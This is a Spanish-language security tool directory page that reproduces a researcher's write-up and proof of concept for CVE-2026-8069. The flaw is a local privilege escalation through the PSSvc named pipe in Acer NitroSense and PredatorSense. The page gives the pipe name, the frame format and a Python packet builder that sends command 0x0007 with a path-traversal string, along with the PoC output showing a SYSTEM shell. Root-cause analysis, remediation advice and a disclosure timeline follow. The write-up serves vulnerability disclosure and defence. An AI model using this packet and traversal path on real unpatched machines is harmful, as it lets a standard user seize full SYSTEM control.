Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-8069 — Write-up técnico y prueba de concepto para CVE-2026-8069, una escalada de privilegios local en los servicios Acer NitroSense y PredatorSense, que explota una named pipe para ejecutar código arbitrario como SYSTEM. | Kitploit
Herramientas/GitHubGitHub/s1eezer/cve-2026-8069
Escalada de PrivilegiosFrameworks de ExploitsAnálisis de VulnerabilidadesExplotaciónIngeniería InversaAnálisis de Binarios
GitHubs1eezer/cve-2026-8069

CVE-2026-8069

Write-up técnico y prueba de concepto para CVE-2026-8069, una escalada de privilegios local en los servicios Acer NitroSense y PredatorSense, que explota una named pipe para ejecutar código arbitrario como SYSTEM.

Ver Repositorio
hace 5h 57mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

De un Named Pipe de Acer a NT AUTHORITY\SYSTEM: CVE-2026-8069

Acer NitroSense y PredatorSense 3.x instalaron un servicio de Windows llamado PSSvc que exponía un protocolo personalizado de named pipe a usuarios locales. Un comando del protocolo aceptaba una ruta de ejecutable controlada por el llamante, duplicaba el token de winlogon.exe e iniciaba ese ejecutable como NT AUTHORITY\SYSTEM.

La restricción de ruta en el servicio vulnerable era una prueba de subcadena. Una ruta que comenzaba dentro del directorio del servicio y luego usaba componentes ..\ superaba la prueba pero se resolvía en otro lugar. Combinado con el control de acceso permisivo del pipe y la ausencia de autorización del llamante, esto permitía a un usuario local estándar obtener un proceso SYSTEM.

Acer asignó CVE-2026-8069, publicó versiones corregidas y acreditó a Artem Domarev de la Universidad de Hradec Králové en su aviso de seguridad.

Este artículo se centra en la vía de creación de procesos/LPE. El aviso de Acer también describe la eliminación arbitraria de archivos, que quedó fuera del alcance de esta validación.

Por qué elegí esta dirección de investigación

La elección de la dirección de investigación también estuvo influenciada por un análisis público de software OEM publicado por Leon Jacobs de SensePost. Ese trabajo documentó vulnerabilidades en ASUS DriverHub, MSI Center, Acer Control Centre y Razer Synapse 4 (Jacobs, 2025). Reforzó la idea de que las utilidades de hardware proporcionadas por los proveedores pueden exponer una superficie de ataque significativa y poco explorada. En lugar de revisitar Acer Control Centre, extendí la investigación a una familia de productos diferente de Acer: NitroSense y PredatorSense.

Resumen ejecutivo

La cadena de explotación es corta:

root@kitploit:~
usuario local autenticado
        │
        ▼
named pipe permisivo de PSSvc
        │  comando personalizado 0x0007
        ▼
verificación de ruta solo por subcadena
        │  service-dir\..\..\..\Windows\System32\cmd.exe
        ▼
duplicación del token de winlogon.exe de la sesión activa
        │
        ▼
CreateProcessAsUserW → NT AUTHORITY\SYSTEM

Una advertencia sobre el número de versión

Existe una inconsistencia en la redacción pública. La página de Acer dice que las versiones de NitroSense "anteriores a 3.01.3052" están afectadas, sin embargo, la versión 3.1.3052.0 de PSSvc.exe firmada por el proveedor y probada para este artículo es demostrablemente vulnerable. La misma página identifica NitroSense 3.01.3056 como la versión corregida. El rango de aplicabilidad de NVD también se extiende hasta, pero sin incluir, 3.01.3056.

Para PredatorSense, la frase de versiones afectadas de Acer se detiene antes de 3.00.3196, mientras que la versión corregida listada es 3.00.3198 y NVD utiliza esta última como límite superior.

La regla operativa conservadora es, por tanto, simple: no utilice la ambigua frase de "afectadas" como comprobación de parche. Actualice al menos a las versiones corregidas que Acer nombra —PredatorSense 3.00.3198 o NitroSense 3.01.3056— o a un paquete más reciente compatible con el modelo.

Artefactos probados

El problema se reprodujo con el paquete original de NitroSense.

La firma Authenticode de PSSvc.exe se validó correctamente y encadenó a Acer Incorporated. El MSI instaló PSSvc como un servicio de proceso propio con inicio bajo demanda que se ejecuta como LocalSystem.

Cómo encontré la ruta vulnerable

1. Comience con el servicio privilegiado

El paquete NitroSense instala:

root@kitploit:~
SERVICE_NAME: PSSvc
DISPLAY_NAME: Predator Service
TYPE:         WIN32_OWN_PROCESS
START_TYPE:   DEMAND_START
ACCOUNT:      LocalSystem

Un servicio SYSTEM no es automáticamente vulnerable. La pregunta importante es si un proceso con menores privilegios puede alcanzar funcionalidad que fue diseñada bajo la suposición de que su llamante es de confianza.

El análisis de cadenas expuso inmediatamente el punto final IPC:

root@kitploit:~
\\.\pipe\predatorsense_service_namedpipe

2. Inspeccione el descriptor de seguridad del named pipe

En 0x140014AD0, el servicio construye el pipe y pasa un descriptor de seguridad explícito a CreateNamedPipeW:

root@kitploit:~
D:(A;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GRGWGX;;;AU)(A;OICI;GA;;;BA)

Esto merece una corrección explícita: la versión vulnerable no pasa un descriptor NULL. Crea una DACL permisiva.

La ACE AU es suficiente para que un usuario autenticado normal abra el pipe para lectura y escritura. El servidor no suplanta entonces al cliente ni realiza una decisión de autorización antes de despachar comandos privilegiados.

3. Recupere el formato de la trama

El hilo cliente en 0x14000ABB0 lee mensajes en un búfer de 512 bytes. Analiza los primeros tres bytes como un número de comando de 16 bits y un contador de argumentos de 8 bits. Cada argumento tiene prefijo de longitud:

root@kitploit:~
Offset  Tamaño  Significado
0x00    2       ID de comando, little-endian
0x02    1       número de argumentos
0x03    4       longitud del argumento 0
0x07    n       bytes del argumento 0
...           DWORD de longitud repetido + valor

Los argumentos de cadena son UTF-16LE. Los argumentos enteros son DWORDs little-endian. El despachador acepta IDs de comando por debajo de 0x23 y los utiliza como índices en una tabla de funciones de 35 entradas en 0x140052C90.

La entrada para el comando 0x0007 apunta a 0x14000BFD0.

4. Siga el comando 0x0007

Reducido a su comportamiento relevante para la seguridad, el manejador se ve así:

root@kitploit:~
int command_07(parsed_arguments *args)
{
    wchar_t service_directory[MAX_PATH];
    wchar_t *requested_path = args->wide_string[0];
    uint32_t mode = args->dword[1];

    GetModuleFileNameW(NULL, service_directory, MAX_PATH);
    PathRemoveFileSpecW(service_directory);

    if (wcsstr(requested_path, service_directory) != NULL)
        return launch_with_selected_token(requested_path, mode);

    return 0;
}

wcsstr solo responde si una cadena aparece dentro de otra. No canoniza una ruta, no resuelve segmentos de puntos, no abre un archivo ni demuestra que el objeto final permanece bajo un directorio de confianza.

Suponga que el servicio está instalado en:

root@kitploit:~
C:\Program Files\Acer\NitroSense_Service

La siguiente ruta contiene ese directorio en el desplazamiento cero, por lo que wcsstr tiene éxito:

root@kitploit:~
C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe

Windows resuelve los segmentos de puntos a:

root@kitploit:~
C:\WINDOWS\System32\cmd.exe

Ese es un error clásico de canonización: la validación se realiza sobre una representación textual, mientras que la operación sensible consume su significado normalizado.

5. Trace la rama del token

El asistente de lanzamiento de procesos en 0x1400091F0 tiene una rama especial cuando el segundo argumento es 0x72 (decimal 114). Este:

  1. obtiene el ID de la sesión de consola activa;
  2. consulta el token del usuario activo y crea un bloque de entorno;
  3. enumera procesos con CreateToolhelp32Snapshot;
  4. localiza winlogon.exe en la sesión activa;
  5. abre el proceso y su token;
  6. duplica el token como token primario;
  7. establece el token duplicado a integridad alta; y
  8. inicia la ruta proporcionada por el llamante en winsta0\default.

Los puntos de llamada críticos en el binario probado fueron:

Esto significa que el comando 0x0007 no solo pide a un servicio que lance una de sus propias herramientas de confianza. Expone un lanzador de procesos con token SYSTEM general a un pipe al que los usuarios ordinarios pueden acceder.

Construcción del PoC

El constructor de paquetes esencial es pequeño:

root@kitploit:~
import struct

def build_packet(command_id, *arguments):
    packet = struct.pack("<HB", command_id, len(arguments))
    for argument in arguments:
        if isinstance(argument, str):
            argument = argument.encode("utf-16-le")
        elif isinstance(argument, int):
            argument = struct.pack("<I", argument)
        packet += struct.pack("<I", len(argument)) + argument
    return packet

service_dir = r"C:\Program Files\Acer\NitroSense_Service"
target = service_dir + r"\..\..\..\WINDOWS\System32\cmd.exe"

# El manejador espera la ruta, el modo de token y ocho ranuras adicionales.
packet = build_packet(0x0007, target, 0x72, *([b"\x00" * 4] * 8))

El script de validación completo abre el pipe con CreateFileW, establece el modo de mensaje, envía este paquete y decodifica la respuesta del servicio. Descubre la ruta del servicio instalado en lugar de codificarla y comprueba el destino normalizado antes de enviar nada.

El script completo utilizado para este artículo está disponible como acer_cve_2026_8069_poc.py.

Reproducción

Paso 1: Instale la versión vulnerable

El Setup.exe del proveedor realiza comprobaciones de hardware y suministra propiedades MSI privadas. Extraje NitroSense.msi y recuperé esas propiedades del arrancador .NET:

root@kitploit:~
$arguments = @(
  '/i', 'C:\Lab\NitroSense.msi',
  'BOOTSTRATOR=1', 'ISDT=0', 'RGBKB=0', 'ICPU=0',
  'BRAND=0', 'ACER=1', 'BRANDNAME=Acer',
  'GPRODUCTNAME=NitroSense_Service',
  '/qn', '/norestart',
  '/l*v', 'C:\Lab\install.log'
)

Start-Process msiexec.exe -ArgumentList $arguments -Wait

Estas propiedades reproducen la ruta de instalación del arrancador en hardware que no supera sus comprobaciones de entorno.

Después de la instalación, verifiqué la versión del archivo, SHA-256 y la firma, y luego inicié el servicio de inicio bajo demanda:

root@kitploit:~
sc.exe qc PSSvc
sc.exe start PSSvc

Paso 2: Utilice una cuenta local estándar

La solicitud se envió desde una cuenta local estándar, no administrativa, que se ejecuta con integridad media.

Paso 3: Active el comando 0x0007

Desde esa cuenta:

root@kitploit:~
py .\acer_cve_2026_8069_poc.py --exec-test --target cmd.exe

El servicio devolvió:

root@kitploit:~
[PASS] Conectado
[INFO] Enviando CMD 0x0007: path='cmd.exe', mode=0x72
       Tamaño del paquete: 227 bytes

Respuesta bruta: 010400000001000000
Código de retorno: 1

[CRITICAL] PROCESO CREADO CON ÉXITO

Paso 4: Verifique de forma independiente

El mensaje de éxito del PoC no es la prueba por sí mismo. Consulté el proceso resultante de forma independiente desde un canal de evidencia administrativo:

root@kitploit:~
Parent      : PSSvc.exe
Session     : Interactive
Owner       : NT AUTHORITY\SYSTEM
CommandLine : "C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe"

El shell SYSTEM era un hijo directo de PSSvc.exe en la sesión interactiva, con la ruta de traversal preservada en su línea de comandos.

También tracé las APIs del servicio durante la solicitud exitosa. El rastreo registró la sesión activa 1, un WTSQueryUserToken exitoso, una instantánea de procesos, un OpenProcess para el winlogon.exe de la sesión, DuplicateTokenEx exitoso, modificación del token de integridad y un retorno de éxito del asistente de lanzamiento de procesos.

La grabación del PoC original muestra cmd.exe propiedad de NT AUTHORITY SYSTEM y whoami devolviendo nt authority\system.

Grabación del PoC mostrando el shell SYSTEM.

Causa raíz

No fue una única comparación aislada defectuosa. La explotación requirió que varios fallos de confianza se alinearan:

  1. La DACL del pipe permitía a los usuarios autenticados leer y escribir.
  2. El servidor aceptaba un comando privilegiado personalizado sin autenticar ni autorizar al cliente.
  3. La lista de permitidos de ejecutables se implementó con wcsstr en lugar de validación canónica de ruta.
  4. El comando exponía código que deliberadamente duplicaba un token altamente privilegiado de winlogon.exe.
  5. El llamante controlaba la ruta de la aplicación finalmente pasada a la creación de procesos.

Eliminar cualquiera de los últimos cuatro eslabones habría prevenido esta vía LPE. La defensa en profundidad debería eliminarlos todos.

Guía de remediación

La remediación respaldada por Acer es actualizar a PredatorSense 3.00.3198, NitroSense 3.01.3056 o posterior. Utilice el paquete que Acer ofrece para el número de serie o SNID de la máquina, como se describe en el aviso del proveedor.

Para desarrolladores de servicios privilegiados de Windows, las lecciones más amplias son:

  • Otorgue al pipe la ACL más restrictiva práctica —normalmente principales específicos del servicio, SYSTEM y administradores—, no todos los usuarios autenticados.
  • Autentique a cada cliente y autorice cada comando. El acceso al pipe por sí solo no es una decisión de autorización.
  • Suplante al cliente del pipe al evaluar quién pregunta, y luego aplique una política documentada.
  • Canonice y resuelva una ruta antes de la validación. Compare los componentes de la ruta con reglas correctas de límites y mayúsculas/minúsculas, y tenga en cuenta los puntos de reanálisis y los enlaces.
  • Prefiera una lista de permitidos de identidades de ejecutables inmutables sobre una ruta controlada por el llamante.
  • No exponga la duplicación de tokens ni la creación arbitraria de procesos a través de un despachador IPC local de propósito general.
  • Registre los comandos rechazados y la información relevante para la seguridad del llamante sin registrar secretos.

Cronología de divulgación

FechaEvento
2026-02-19Informe de vulnerabilidad preparado y enviado a Acer.
2026-05-08CVE-2026-8069 publicado en el ecosistema CVE/NVD.
2026Acer publicó su aviso, acreditó al investigador y nombró las versiones corregidas de PredatorSense y NitroSense.
2026-08-28Reproducción independiente completada para este informe.

Reflexiones finales

Los named pipes locales son fáciles de confundir con límites de confianza. Son solo mecanismos de transporte. Cuando un servicio SYSTEM expone un despachador de comandos, su ACL de pipe, la autorización del llamante, la validación de argumentos y la implementación privilegiada se convierten todos en parte del límite de seguridad.

Aquí, un pipe permisivo alcanzó una rutina de duplicación de tokens, y una verificación de subcadena intentó sustituir la contención de ruta. El resultado fue una transición fiable de un usuario local estándar a NT AUTHORITY\SYSTEM.

Referencias

  • Acer: Información de vulnerabilidad de seguridad del software PredatorSense y NitroSense v3
  • Base de datos de avisos de GitHub: CVE-2026-8069 / GHSA-67h9-58cf-72hp
  • NVD: CVE-2026-8069
  • CVE.org: CVE-2026-8069
  • Jacobs, L. (2025, 24 de julio). Pwning ASUS DriverHub, MSI Center, Acer Control Centre and Razer Synapse 4. SensePost.

Licencia

El informe y los medios de investigación originales están licenciados bajo Creative Commons Attribution 4.0 International. El código fuente del PoC está licenciado bajo la Licencia MIT. Consulte LICENSE.md para el alcance y las exclusiones de terceros.

Descargar herramienta
ElementoResultado
CVECVE-2026-8069
Componente vulnerable probadoPSSvc.exe 3.1.3052.0, firmado por Acer Incorporated
Identidad del servicioLocalSystem
Punto final IPC\\.\pipe\predatorsense_service_namedpipe
Comando vulnerable0x0007
Acceso requerido del atacanteUsuario local autenticado capaz de ejecutar un programa
Interacción del usuarioNinguna
ResultadoEjecutable arbitrario lanzado como NT AUTHORITY\SYSTEM
CVSS v3.1 de NVD7.8 Alta — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Versiones corregidasPredatorSense 3.00.3198; NitroSense 3.01.3056
ArtefactoSHA-256
NitroSense_V3.01.3052_MSFT_SIGNED_20230420.zip947FB7C62665875450AFA9C9E7919D2B061ED8197C11B28D64781F121B30C157
NitroSense.msi6F9D405B6D2ADF2992C4E071453AD2C919A6DD38A89A31EF96EAFE81C50A745C
PSSvc.exe 3.1.3052.0 instalado3BA836B6A5D95B55708E771B74F49098F58B096EF1F63C5CCAE355811E193A40
PoC utilizado para la validación31BC81140BAB64A8B0CB70ACC1C2CF3CA84A7B00015E5610AC075DC50DCB0163
Abreviatura SIDPrincipalPermiso efectivo en el SDDL
BGInvitados integradosAcceso genérico total
ANAnónimoAcceso genérico total denegado
AUUsuarios autenticadosLectura, escritura y ejecución genéricas
BAAdministradores integradosAcceso genérico total
OperaciónDirección
CreateToolhelp32Snapshot0x140009298
OpenProcessToken0x140009346
DuplicateTokenEx0x1400093B0
CreateProcessAsUserW0x1400094BF / 0x1400094C7